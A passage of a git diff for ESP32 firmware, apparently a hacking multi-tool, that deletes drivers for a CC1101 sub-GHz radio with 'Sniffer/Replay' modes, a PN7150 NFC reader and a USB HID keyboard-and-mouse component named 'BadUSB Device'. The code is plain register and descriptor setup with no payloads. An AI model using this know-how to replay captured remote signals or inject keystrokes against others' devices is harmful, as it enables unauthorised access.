"buttons_gpio/include" REQUIRES @@ -43,5 +37,4 @@ idf_component_register(SRCS Service esp_lcd PRIV_REQUIRES - esp_tinyusb "espressif__led_strip") diff --git a/firmware_c5/components/Drivers/cc1101/cc1101.c b/firmware_c5/components/Drivers/cc1101/cc1101.c deleted file mode 100644 index ec45cd7d..00000000 --- a/firmware_c5/components/Drivers/cc1101/cc1101.c +++ /dev/null @@ -1,328 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "cc1101.h" -#include "spi.h" -#include "pin_def.h" -#include -#include -#include -#include -#include -#include - -static const char *TAG = "CC1101_DRIVER"; -static spi_device_handle_t cc1101_spi = NULL; - -void cc1101_write_burst(uint8_t reg, const uint8_t *buf, uint8_t len) { - if (cc1101_spi == NULL) return; - - // SPI Transaction for Burst Write: [Address | Burst Bit] + [Data0] + [Data1] ... - // Note: SPI device handles buffer management. We need to allocate a buffer that includes the address byte. - - // Max burst len check could be added here, but for frequency setting (3 bytes) it's fine. - // Ideally we use the polling transaction for very short transfers or standard transmit for others. - - // We construct a temporary buffer: [CMD][DATA...] - uint8_t *tx_buf = heap_caps_malloc(len + 1, MALLOC_CAP_DMA); - if (!tx_buf) return; - - tx_buf[0] = (reg | 0x40); // Add Burst bit (0x40) - memcpy(&tx_buf[1], buf, len); - - spi_transaction_t t; - memset(&t, 0, sizeof(t)); - t.length = (len + 1) * 8; - t.tx_buffer = tx_buf; - t.rx_buffer = NULL; - - spi_device_transmit(cc1101_spi, &t); - - free(tx_buf); -} - -/** - * @brief Define a frequência de operação do CC1101. - * Fórmula: Freq = (fxosc / 2^16) * FREQ[23:0] - * Com cristal de 26MHz: FREQ = (FreqHz * 65536) / 26000000 - */ -void cc1101_set_frequency(uint32_t freq_hz) { - uint64_t freq_reg = ((uint64_t)freq_hz * 65536) / 26000000; - - uint8_t freq_bytes[3]; - freq_bytes[0] = (freq_reg >> 16) & 0xFF; // FREQ2 - freq_bytes[1] = (freq_reg >> 8) & 0xFF; // FREQ1 - freq_bytes[2] = freq_reg & 0xFF; // FREQ0 - - // Use Burst Write starting from CC1101_FREQ2 (auto-increments to FREQ1, FREQ0) - cc1101_write_burst(CC1101_FREQ2, freq_bytes, 3); -} - -/** - * @brief Envia um comando strobe (comando de 1 byte) para o chip. - */ -void cc1101_strobe(uint8_t cmd) { - // ... (código existente mantido) - if (cc1101_spi == NULL) return; - spi_transaction_t t; - memset(&t, 0, sizeof(t)); - t.length = 8; - t.flags = SPI_TRANS_USE_TXDATA; - t.tx_data[0] = cmd; - spi_device_transmit(cc1101_spi, &t); -} - -/** - * @brief Escreve um valor em um registrador de configuração. - */ -void cc1101_write_reg(uint8_t reg, uint8_t val) { - if (cc1101_spi == NULL) return; - spi_transaction_t t; - memset(&t, 0, sizeof(t)); - t.length = 16; - t.flags = SPI_TRANS_USE_TXDATA; - t.tx_data[0] = reg; - t.tx_data[1] = val; - spi_device_transmit(cc1101_spi, &t); -} - -/** - * @brief Lê um valor de um registrador (Status ou Configuração). - */ -uint8_t cc1101_read_reg(uint8_t reg) { - if (cc1101_spi == NULL) return 0; - spi_transaction_t t; - memset(&t, 0, sizeof(t)); - t.length = 16; - t.flags = SPI_TRANS_USE_TXDATA | SPI_TRANS_USE_RXDATA; - t.tx_data[0] = 0x80 | reg; - t.tx_data[1] = 0x00; - spi_device_transmit(cc1101_spi, &t); - return t.rx_data[1]; -} - -/** - * @brief Converte o valor bruto do registrador RSSI para dBm. - */ -float cc1101_convert_rssi(uint8_t rssi_raw) { - float rssi_dbm; - if (rssi_raw >= 128) { - rssi_dbm = ((float)(rssi_raw - 256) / 2.0) - 74.0; - } else { - rssi_dbm = ((float)rssi_raw / 2.0) - 74.0; - } - return rssi_dbm; -} - -/** - * @brief Inicializa o dispositivo CC1101 no barramento SPI. - */ -void cc1101_init(void) { - // Configuração para o driver SPI centralizado - spi_device_config_t devcfg = { - .clock_speed_hz = 4 * 1000 * 1000, // 4 MHz - .mode = 0, // Modo SPI 0 - .cs_pin = GPIO_CS_PIN, // Pino CS - .queue_size = 7 - }; - - // Adiciona o dispositivo ao barramento SPI (Driver Centralizado) - esp_err_t ret = spi_add_device(SPI_DEVICE_CC1101, &devcfg); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Falha ao adicionar dispositivo SPI: %s", esp_err_to_name(ret)); - return; - } - - // Obtém o handle do dispositivo - cc1101_spi = spi_get_handle(SPI_DEVICE_CC1101); - - // Reset via comando SRES - cc1101_strobe(CC1101_SRES); - vTaskDelay(pdMS_TO_TICKS(50)); - - // --- CORREÇÃO DE CONFLITO DE PINS --- - // Configura GDO0 e GDO2 para High-Impedance (0x2E) - cc1101_write_reg(CC1101_IOCFG0, 0x2E); - cc1101_write_reg(CC1101_IOCFG2, 0x2E); // GDO2 em High-Impedance (Libera Pino 9) - - // --- TESTE DE COMUNICAÇÃO --- - uint8_t version = cc1101_read_reg(CC1101_VERSION | 0x40); - if (version == 0x00 || version == 0xFF) { - ESP_LOGE(TAG, "CC1101 não detectado! Cheque MISO/MOSI/SCLK/CS"); - } else { - ESP_LOGI(TAG, "CC1101 Detectado! Versão do Chip: 0x%02X", version); - } - - // Configuração para modo Scanner - cc1101_write_reg(CC1101_FSCTRL1, 0x06); - cc1101_write_reg(CC1101_MDMCFG4, 0x85); // BW = 203kHz (Mais largo para capturar sinais instáveis) - cc1101_write_reg(CC1101_MDMCFG2, 0x30); - cc1101_write_reg(CC1101_MCSM0, 0x18); - cc1101_write_reg(CC1101_AGCCTRL2, 0x07); // AGC Max Gain - cc1101_write_reg(CC1101_AGCCTRL1, 0x00); - cc1101_write_reg(CC1101_AGCCTRL0, 0x91); - - cc1101_set_frequency(433920000); - - cc1101_strobe(CC1101_SRX); - ESP_LOGI(TAG, "Hardware pronto. Iniciando Scanner..."); -} - -/** - * @brief Configura o CC1101 para modo Assíncrono (Raw Data) para Sniffer/Replay. - * Baseado na configuração "Async" da LibSmartRC-CC1101. - */ -void cc1101_enable_async_mode(uint32_t freq_hz) { - if (cc1101_spi == NULL) return; - - ESP_LOGI(TAG, "Configurando CC1101 para modo Async (Sniffer)..."); - - cc1101_strobe(CC1101_SIDLE); - cc1101_strobe(CC1101_SRES); // Reset para garantir estado limpo - vTaskDelay(pdMS_TO_TICKS(5)); - - // 1. Configuração de Pinos (GDO0 como Serial Data Output) - // O ESP32 vai ler o GDO0 (GPIO 8/SDA) via RMT. - cc1101_write_reg(CC1101_IOCFG0, 0x0D); // 2. Configuração de Pacote (Async, Raw, Sem CRC/Manchester) - cc1101_write_reg(CC1101_PKTCTRL0, 0x32); // Async mode, No whitening - cc1101_write_reg(CC1101_PKTCTRL1, 0x04); // No addr check - cc1101_write_reg(CC1101_PKTLEN, 0x00); - - // 3. Configuração RF (Frequência) - cc1101_set_frequency(freq_hz); - - // 4. Configuração de Modem (ASK/OOK, Otimizado para 433MHz genérico) - // Valores extraídos da LibSmartRC "RegConfigSettings" + "setCCMode" - cc1101_write_reg(CC1101_FSCTRL1, 0x06); - - // MDMCFG4: Configuração de Bandwidth e eXponent. - // Antes: 0x57 (~325kHz). - // Novo: 0x3B = Bandwidth 812kHz (Abertura Máxima). - // Isso ajuda a pegar controles desafinados (433.80 - 434.00 MHz). - cc1101_write_reg(CC1101_MDMCFG4, 0x3B); - cc1101_write_reg(CC1101_MDMCFG3, 0x93); - cc1101_write_reg(CC1101_MDMCFG2, 0x30); // ASK/OOK, No Sync/Preamble sense - cc1101_write_reg(CC1101_MDMCFG1, 0x02); // FEC Off - cc1101_write_reg(CC1101_MDMCFG0, 0xF8); // Channel Spacing - - cc1101_write_reg(CC1101_DEVIATN, 0x47); // Deviation (menos relevante pra ASK, mas mantido) - - // 5. Configuração de Ganho (AGC) - Máxima sensibilidade - cc1101_write_reg(CC1101_AGCCTRL2, 0xC7); // MAGN_TARGET = 42dB, MAX_LNA_GAIN = 0, MAX_DVGA_GAIN = 0 - cc1101_write_reg(CC1101_AGCCTRL1, 0x00); - cc1101_write_reg(CC1101_AGCCTRL0, 0xB2); - - // 6. Front End & Calibração - cc1101_write_reg(CC1101_FREND1, 0x56); - cc1101_write_reg(CC1101_FREND0, 0x11); // Usa índice 1 da PATABLE (Wait! índice 0 ou 1?) - // Se FREND0.PA_POWER = 1, ele usa PATABLE[1]. - // Vamos usar índice 0 para simplificar. - cc1101_write_reg(CC1101_FREND0, 0x10); // Usa PATABLE[0] - - // ESCREVENDO A TABELA DE POTÊNCIA (Crítico para alcance) - // Para 433MHz: 0xC0 = +10dBm (Máximo) - uint8_t pa_table[] = {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - cc1101_write_burst(CC1101_PATABLE, pa_table, 8); - - cc1101_write_reg(CC1101_FSCAL3, 0xE9); - cc1101_write_reg(CC1101_FSCAL2, 0x2A); - cc1101_write_reg(CC1101_FSCAL1, 0x00); - cc1101_write_reg(CC1101_FSCAL0, 0x1F); - // 7. Configurações de Teste (Mágica da TI para estabilidade) - cc1101_write_reg(CC1101_FSTEST, 0x59); - cc1101_write_reg(CC1101_TEST2, 0x81); - cc1101_write_reg(CC1101_TEST1, 0x35); - cc1101_write_reg(CC1101_TEST0, 0x09); - - ESP_LOGI(TAG, "CC1101 configurado em Async Mode (GDO0 Active High)"); - - // Entra em RX imediatamente - cc1101_strobe(CC1101_SRX); - } - - void cc1101_enter_tx_mode(void) { - if (cc1101_spi == NULL) return; - cc1101_strobe(CC1101_SIDLE); - cc1101_strobe(CC1101_STX); - } - - void cc1101_enter_rx_mode(void) { - if (cc1101_spi == NULL) return; - cc1101_strobe(CC1101_SIDLE); - cc1101_strobe(CC1101_SRX); - } - - void cc1101_enable_fsk_mode(uint32_t freq_hz) { - if (cc1101_spi == NULL) return; - - ESP_LOGI(TAG, "Configurando CC1101 para modo FSK (Sniffer)..."); - - cc1101_strobe(CC1101_SIDLE); - cc1101_strobe(CC1101_SRES); - vTaskDelay(pdMS_TO_TICKS(5)); - - // 1. Configuração de Pinos (GDO0 como Serial Data Output) - cc1101_write_reg(CC1101_IOCFG0, 0x0D); - - // 2. Pacote (Igual Async) cc1101_write_reg(CC1101_PKTCTRL0, 0x32); - cc1101_write_reg(CC1101_PKTCTRL1, 0x04); - cc1101_write_reg(CC1101_PKTLEN, 0x00); - - // 3. RF - cc1101_set_frequency(freq_hz); - - // 4. Modem (AQUI MUDA PARA FSK) - cc1101_write_reg(CC1101_FSCTRL1, 0x06); - - // MDMCFG4: 0x3B = BW 812kHz - cc1101_write_reg(CC1101_MDMCFG4, 0x3B); - cc1101_write_reg(CC1101_MDMCFG3, 0x93); // Data Rate - - // MDMCFG2: FSK (0x00) - cc1101_write_reg(CC1101_MDMCFG2, 0x00); // 2-FSK, No Sync/Preamble - - cc1101_write_reg(CC1101_MDMCFG1, 0x02); // FEC Off - cc1101_write_reg(CC1101_MDMCFG0, 0xF8); // Channel Spacing - - cc1101_write_reg(CC1101_DEVIATN, 0x47); // Deviation +/- 47kHz - - // 5. AGC (Igual) - cc1101_write_reg(CC1101_AGCCTRL2, 0xC7); - cc1101_write_reg(CC1101_AGCCTRL1, 0x00); - cc1101_write_reg(CC1101_AGCCTRL0, 0xB2); - - // 6. Front End (Igual) - cc1101_write_reg(CC1101_FREND1, 0x56); - cc1101_write_reg(CC1101_FREND0, 0x10); - - uint8_t pa_table[] = {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - cc1101_write_burst(CC1101_PATABLE, pa_table, 8); - - cc1101_write_reg(CC1101_FSCAL3, 0xE9); - cc1101_write_reg(CC1101_FSCAL2, 0x2A); - cc1101_write_reg(CC1101_FSCAL1, 0x00); - cc1101_write_reg(CC1101_FSCAL0, 0x1F); - - // 7. Test (Igual) - cc1101_write_reg(CC1101_FSTEST, 0x59); - cc1101_write_reg(CC1101_TEST2, 0x81); - cc1101_write_reg(CC1101_TEST1, 0x35); - cc1101_write_reg(CC1101_TEST0, 0x09); - - ESP_LOGI(TAG, "CC1101 configurado em FSK Mode (GDO0 Active High)"); - - cc1101_strobe(CC1101_SRX); - } - diff --git a/firmware_c5/components/Drivers/cc1101/include/cc1101.h b/firmware_c5/components/Drivers/cc1101/include/cc1101.h deleted file mode 100644 index c7dee973..00000000 --- a/firmware_c5/components/Drivers/cc1101/include/cc1101.h +++ /dev/null @@ -1,125 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef CC1101_H -#define CC1101_H - -#include -#include - -// ============================================================================= -// STROBE COMMANDS (One-way commands via SPI) -// ============================================================================= -#define CC1101_SRES 0x30 // Reseta o chip CC1101 -#define CC1101_SFSTXON 0x31 // Calibra o sintetizador de frequência e ativa -#define CC1101_SXOFF 0x32 // Desliga o oscilador de cristal -#define CC1101_SCAL 0x33 // Calibra o sintetizador de frequência e desliga -#define CC1101_SRX 0x34 // Ativa o modo de Recepção (RX) -#define CC1101_STX 0x35 // Ativa o modo de Transmissão (TX) -#define CC1101_SIDLE 0x36 // Sai do modo RX/TX, entra em Idle -#define CC1101_SWOR 0x38 // Ativa o Wake on Radio -#define CC1101_SPWD 0x39 // Entra em modo de baixo consumo (Power down) -#define CC1101_SFRX 0x3A // Limpa o buffer FIFO de Recebimento -#define CC1101_SFTX 0x3B // Limpar o buffer FIFO de Transmissão -#define CC1101_SWORRST 0x3C // Reseta o relógio de tempo real do WOR -#define CC1101_SNOP 0x3D // Nenhuma operação - -// ============================================================================= -// CONFIG REGISTERS (Write and Read) -// ============================================================================= -#define CC1101_IOCFG2 0x00 // Configuração do pino GDO2 -#define CC1101_IOCFG1 0x01 // Configuração do pino GDO1 -#define CC1101_IOCFG0 0x02 // Configuração do pino GDO0 -#define CC1101_FIFOTHR 0x03 // Limiares de FIFO RX e TX -#define CC1101_SYNC1 0x04 // Palavra de sincronismo, byte alto -#define CC1101_SYNC0 0x05 // Palavra de sincronismo, byte baixo -#define CC1101_PKTLEN 0x06 // Comprimento do pacote -#define CC1101_PKTCTRL1 0x07 // Controle de automação de pacotes -#define CC1101_PKTCTRL0 0x08 // Controle de automação de pacotes -#define CC1101_ADDR 0x09 // Endereço do dispositivo -#define CC1101_CHANNR 0x0A // Número do canal -#define CC1101_FSCTRL1 0x0B // Controle do sintetizador de frequência -#define CC1101_FSCTRL0 0x0C // Controle do sintetizador de frequência -#define CC1101_FREQ2 0x0D // Palavra de controle de frequência, byte alto -#define CC1101_FREQ1 0x0E // Palavra de controle de frequência, byte médio -#define CC1101_FREQ0 0x0F // Palavra de controle de frequência, byte baixo -#define CC1101_MDMCFG4 0x10 // Configuração do modem -#define CC1101_MDMCFG3 0x11 // Configuração do modem -#define CC1101_MDMCFG2 0x12 // Configuração do modem -#define CC1101_MDMCFG1 0x13 // Configuração do modem -#define CC1101_MDMCFG0 0x14 // Configuração do modem -#define CC1101_DEVIATN 0x15 // Configuração de desvio do modem -#define CC1101_MCSM2 0x16 // Configuração da máquina de estados do rádio -#define CC1101_MCSM1 0x17 // Configuração da máquina de estados do rádio -#define CC1101_MCSM0 0x18 // Configuração da máquina de estados do rádio -#define CC1101_FOCCFG 0x19 // Configuração de compensação de offset de freq. -#define CC1101_BSCFG 0x1A // Configuração de sincronização de bits -#define CC1101_AGCCTRL2 0x1B // Controle de AGC -#define CC1101_AGCCTRL1 0x1C // Controle de AGC -#define CC1101_AGCCTRL0 0x1D // Controle de AGC -#define CC1101_WOREVT1 0x1E // Byte alto de timeout do Evento 0 -#define CC1101_WOREVT0 0x1F // Byte baixo de timeout do Evento 0 -#define CC1101_WORCTRL 0x20 // Controle de Wake On Radio -#define CC1101_FREND1 0x21 // Configuração de front end de recepção -#define CC1101_FREND0 0x22 // Configuração de front end de transmissão -#define CC1101_FSCAL3 0x23 // Calibração do sintetizador de frequência -#define CC1101_FSCAL2 0x24 // Calibração do sintetizador de frequência -#define CC1101_FSCAL1 0x25 // Calibração do sintetizador de frequência -#define CC1101_FSCAL0 0x26 // Calibração do sintetizador de frequência -#define CC1101_RCCTRL1 0x27 // Configuração do oscilador RC -#define CC1101_RCCTRL0 0x28 // Configuração do oscilador RC -#define CC1101_FSTEST 0x29 // Controle de teste do sintetizador -#define CC1101_PTEST 0x2A // Teste de produção -#define CC1101_AGCTEST 0x2B // Teste de AGC -#define CC1101_TEST2 0x2C // Configuração de teste variada -#define CC1101_TEST1 0x2D // Configuração de teste variada -#define CC1101_TEST0 0x2E // Configuração de teste variada - -// ============================================================================= -// REGISTER STATUS (Readonly - Require burst bit 0x40) -// ============================================================================= -#define CC1101_PARTNUM 0x30 // Número da parte -#define CC1101_VERSION 0x31 // Versão do chip -#define CC1101_FREQEST 0x32 // Estimativa de frequência -#define CC1101_LQI 0x33 // Indicador de qualidade de link -#define CC1101_RSSI 0x34 // Força do sinal recebido -#define CC1101_MARCSTATE 0x35 // Estado atual da máquina de rádio -#define CC1101_WORTIME1 0x36 // Tempo WOR, byte alto -#define CC1101_WORTIME0 0x37 // Tempo WOR, byte baixo -#define CC1101_PKTSTATUS 0x38 // Status do pacote e GDOs -#define CC1101_VCO_VC_DAC 0x39 // Corrente do PLL e DAC -#define CC1101_TXBYTES 0x3A // Número de bytes na FIFO TX -#define CC1101_RXBYTES 0x3B // Número de bytes na FIFO RX -#define CC1101_PATABLE 0x3E // Tabela de potência de saída -#define CC1101_TXFIFO 0x3F // Acesso à FIFO de Transmissão -#define CC1101_RXFIFO 0x3F // Acesso à FIFO de Recepção - - -void cc1101_init(void); -void cc1101_set_frequency(uint32_t freq_hz); -void cc1101_strobe(uint8_t cmd); -void cc1101_write_reg(uint8_t reg, uint8_t val); -uint8_t cc1101_read_reg(uint8_t reg); -void cc1101_write_burst(uint8_t reg, const uint8_t *buf, uint8_t len); -float cc1101_convert_rssi(uint8_t rssi_raw); -void cc1101_spectrum_task(void *pvParameters); -void cc1101_send_data(const uint8_t *data, size_t len); -void cc1101_enter_rx_mode(void); -void cc1101_enter_tx_mode(void); -void cc1101_enable_async_mode(uint32_t freq_hz); // ASK (OOK) Default -void cc1101_enable_fsk_mode(uint32_t freq_hz); // FSK - -#endif // CC1101_H - diff --git a/firmware_c5/components/Drivers/pn7150/include/pn7150.h b/firmware_c5/components/Drivers/pn7150/include/pn7150.h deleted file mode 100644 index 2f02b2a7..00000000 --- a/firmware_c5/components/Drivers/pn7150/include/pn7150.h +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef PN7150_H -#define PN7150_H - -#include "driver/i2c.h" -#include "driver/gpio.h" - -// Configurações de hardware -#define I2C_MASTER_NUM I2C_NUM_0 -#define I2C_MASTER_SDA_IO GPIO_NUM_8 -#define I2C_MASTER_SCL_IO GPIO_NUM_9 -#define I2C_MASTER_FREQ_HZ 400000 -#define PN7150_I2C_ADDRESS 0x28 // Endereço I2C (A0-A1 = GND) -#define PN7150_PIN_VEN GPIO_NUM_18 // pino de controle VEN (reset) -#define PN7150_PIN_IRQ GPIO_NUM_17 // pino de interrupcao IRQ - -// Funções do driver -void pn7150_i2c_init(void); -void pn7150_hw_init(void); -esp_err_t pn7150_send_cmd(const uint8_t *data, size_t len); -esp_err_t pn7150_read_rsp(uint8_t *buffer, size_t *length); -esp_err_t pn7150_core_reset(void); -esp_err_t pn7150_core_init(void); - -#endif // PN7150_H diff --git a/firmware_c5/components/Drivers/pn7150/pn7150.c b/firmware_c5/components/Drivers/pn7150/pn7150.c deleted file mode 100644 index 229afdf6..00000000 --- a/firmware_c5/components/Drivers/pn7150/pn7150.c +++ /dev/null @@ -1,159 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "pn7150.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" - -static const char *TAG = "PN7150"; - -// Inicializa I2C mestre do ESP32 -void pn7150_i2c_init(void) -{ - i2c_config_t conf = { - .mode = I2C_MODE_MASTER, - .sda_io_num = I2C_MASTER_SDA_IO, - .scl_io_num = I2C_MASTER_SCL_IO, - .sda_pullup_en = GPIO_PULLUP_ENABLE, - .scl_pullup_en = GPIO_PULLUP_ENABLE, - .master.clk_speed = I2C_MASTER_FREQ_HZ, - }; - i2c_param_config(I2C_MASTER_NUM, &conf); - i2c_driver_install(I2C_MASTER_NUM, conf.mode, 0, 0, 0); -} - -// Configura GPIOs VEN (output) e IRQ (input) do PN7150 -void pn7150_hw_init(void) -{ - // Configura VEN como saída - gpio_config_t io_conf = { - .pin_bit_mask = (1ULL< delay -> high - gpio_set_level(PN7150_PIN_VEN, 0); - vTaskDelay(pdMS_TO_TICKS(10)); - gpio_set_level(PN7150_PIN_VEN, 1); - vTaskDelay(pdMS_TO_TICKS(20)); -} - -// Envia um comando NCI via I2C -esp_err_t pn7150_send_cmd(const uint8_t *data, size_t len) -{ - i2c_cmd_handle_t cmd = i2c_cmd_link_create(); - // Inicia e envia endereço+escrita - i2c_master_start(cmd); - i2c_master_write_byte(cmd, (PN7150_I2C_ADDRESS<<1) | I2C_MASTER_WRITE, true); - // Envia o comando NCI completo - i2c_master_write(cmd, (uint8_t*)data, len, true); - i2c_master_stop(cmd); - esp_err_t err = i2c_master_cmd_begin(I2C_MASTER_NUM, cmd, pdMS_TO_TICKS(1000)); - i2c_cmd_link_delete(cmd); - return err; -} - -// Lê resposta NCI via I2C. Retorna em buffer e define *length. -esp_err_t pn7150_read_rsp(uint8_t *buffer, size_t *length) -{ - // Leitura de cabeçalho (3 bytes) - uint8_t header[3] = {0}; - i2c_cmd_handle_t cmd = i2c_cmd_link_create(); - i2c_master_start(cmd); - i2c_master_write_byte(cmd, (PN7150_I2C_ADDRESS<<1) | I2C_MASTER_READ, true); - i2c_master_read(cmd, header, 3, I2C_MASTER_LAST_NACK); - i2c_master_stop(cmd); - esp_err_t err = i2c_master_cmd_begin(I2C_MASTER_NUM, cmd, pdMS_TO_TICKS(1000)); - i2c_cmd_link_delete(cmd); - if (err != ESP_OK) return err; - - // Calcula tamanho do payload - uint8_t payload_len = header[2]; - *length = 3 + payload_len; - // Copia cabeçalho para buffer - buffer[0] = header[0]; - buffer[1] = header[1]; - buffer[2] = header[2]; - // Se não há payload, retorno - if (payload_len == 0) return ESP_OK; - - // Leitura do payload restante - cmd = i2c_cmd_link_create(); - i2c_master_start(cmd); - i2c_master_write_byte(cmd, (PN7150_I2C_ADDRESS<<1) | I2C_MASTER_READ, true); - i2c_master_read(cmd, buffer+3, payload_len, I2C_MASTER_LAST_NACK); - i2c_master_stop(cmd); - err = i2c_master_cmd_begin(I2C_MASTER_NUM, cmd, pdMS_TO_TICKS(1000)); - i2c_cmd_link_delete(cmd); - return err; -} - -// Executa CORE_RESET_CMD (Reset Type = Keep Config = 0x01) -esp_err_t pn7150_core_reset(void) -{ - const uint8_t cmd[] = {0x20, 0x00, 0x01, 0x01}; - ESP_LOGI(TAG, "Enviando CORE_RESET_CMD..."); - esp_err_t err = pn7150_send_cmd(cmd, sizeof(cmd)); - if (err != ESP_OK) { - ESP_LOGE(TAG, "Erro I2C send CORE_RESET"); - return err; - } - // Aguarda IRQ ou pode esperar fixo - //vTaskDelay(pdMS_TO_TICKS(50)); - uint8_t rsp[16] = {0}; - size_t len = 0; - err = pn7150_read_rsp(rsp, &len); - if (err == ESP_OK) { - ESP_LOGI(TAG, "CORE_RESET_RSP (len %d):", len); - for (int i = 0; i < len; i++) { - printf("%02X ", rsp[i]); - } - printf("\n"); - } - return err; -} - -// Executa CORE_INIT_CMD (sem payload) -esp_err_t pn7150_core_init(void) -{ - const uint8_t cmd[] = {0x20, 0x01, 0x00}; - ESP_LOGI(TAG, "Enviando CORE_INIT_CMD..."); - esp_err_t err = pn7150_send_cmd(cmd, sizeof(cmd)); - if (err != ESP_OK) { - ESP_LOGE(TAG, "Erro I2C send CORE_INIT"); - return err; - } - // Aguardar IRQ / resposta - //vTaskDelay(pdMS_TO_TICKS(50)); - uint8_t rsp[32] = {0}; - size_t len = 0; - err = pn7150_read_rsp(rsp, &len); - if (err == ESP_OK) { - ESP_LOGI(TAG, "CORE_INIT_RSP (len %d):", len); - for (int i = 0; i < len; i++) { - printf("%02X ", rsp[i]); - } - printf("\n"); - } - return err; -} diff --git a/firmware_c5/components/Drivers/spi/spi.c b/firmware_c5/components/Drivers/spi/spi.c index e4e8468e..8bd38115 100644 --- a/firmware_c5/components/Drivers/spi/spi.c +++ b/firmware_c5/components/Drivers/spi/spi.c @@ -20,7 +20,7 @@ esp_err_t spi_init(void) { .max_transfer_sz = 4096, }; - esp_err_t ret = spi_bus_initialize(SPI3_HOST, &buscfg, SPI_DMA_CH_AUTO); + esp_err_t ret = spi_bus_initialize(SPI2_HOST, &buscfg, SPI_DMA_CH_AUTO); if (ret == ESP_OK) { bus_initialized = true; ESP_LOGI(TAG, "Internal SPI Master initialized"); @@ -39,7 +39,7 @@ esp_err_t spi_add_device(spi_device_id_t id, const spi_device_config_t *config) .queue_size = config->queue_size, }; - return spi_bus_add_device(SPI3_HOST, &devcfg, &device_handles[id]); + return spi_bus_add_device(SPI2_HOST, &devcfg, &device_handles[id]); } spi_device_handle_t spi_get_handle(spi_device_id_t id) { @@ -64,8 +64,8 @@ esp_err_t spi_deinit(void) { } } if (bus_initialized) { - spi_bus_free(SPI3_HOST); + spi_bus_free(SPI2_HOST); bus_initialized = false; } return ESP_OK; -} \ No newline at end of file +} diff --git a/firmware_c5/components/Drivers/tusb_desc/README.md b/firmware_c5/components/Drivers/tusb_desc/README.md deleted file mode 100644 index dd6b57a3..00000000 --- a/firmware_c5/components/Drivers/tusb_desc/README.md +++ /dev/null @@ -1,56 +0,0 @@ -# TinyUSB Descriptors (HID Composite) - -This component defines the USB descriptors required to enumerate the ESP32 as a USB HID Composite Device (Keyboard + Mouse). It uses the TinyUSB stack provided by Espressif. - -## Overview - -- **Location:** `components/Drivers/tusb_desc/` -- **Header:** `include/tusb_desc.h` -- **Dependencies:** `tinyusb`, `esp_tinyusb` - -## Descriptors Defined - -### Device Descriptor -- **USB Version:** 2.0 -- **Vendor ID:** `0xCAFE` (Example/Test ID) -- **Product ID:** `0x4001` -- **Class:** Defined at Interface level - -### Configuration Descriptor -- **Interfaces:** 1 (HID) -- **Power:** 100mA -- **Attributes:** Remote Wakeup enabled - -### HID Report Descriptor -The device reports two functionalities within a single HID interface using Report IDs: - -1. **Keyboard:** - - **Report ID:** `1` - - **Usage:** Generic Desktop Keyboard - -2. **Mouse:** - - **Report ID:** `2` - - **Usage:** Generic Desktop Mouse (Buttons + XY Movement + Wheel) - -### String Descriptors -0. Language ID (English) -1. Manufacturer: "HighCode" -2. Product: "BadUSB Device" -3. Serial: "123456" - -## API Reference - -### `busb_init` -```c -void busb_init(void); -``` -Initializes the TinyUSB driver with the defined descriptors. -- Installs the driver using `tinyusb_driver_install`. -- **Note:** This function must be called before attempting to send any keystrokes or mouse movements. - -## Callbacks (TinyUSB Hooks) -The component implements standard TinyUSB callbacks to serve descriptors to the host: -- `tud_descriptor_device_cb` -- `tud_descriptor_configuration_cb` -- `tud_descriptor_string_cb` -- `tud_hid_descriptor_report_cb` \ No newline at end of file diff --git a/firmware_c5/components/Drivers/tusb_desc/tusb_desc.c b/firmware_c5/components/Drivers/tusb_desc/tusb_desc.c deleted file mode 100644 index 52c5883b..00000000 --- a/firmware_c5/components/Drivers/tusb_desc/tusb_desc.c +++ /dev/null @@ -1,121 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "tusb_desc.h" -#include "tinyusb.h" -#include "esp_log.h" -#include - -static const char* TAG = "TUSB_DESC"; - -#define REPORT_ID_KEYBOARD 1 -#define REPORT_ID_MOUSE 2 - -tusb_desc_device_t const desc_device = { - .bLength = sizeof(tusb_desc_device_t), - .bDescriptorType = TUSB_DESC_DEVICE, - 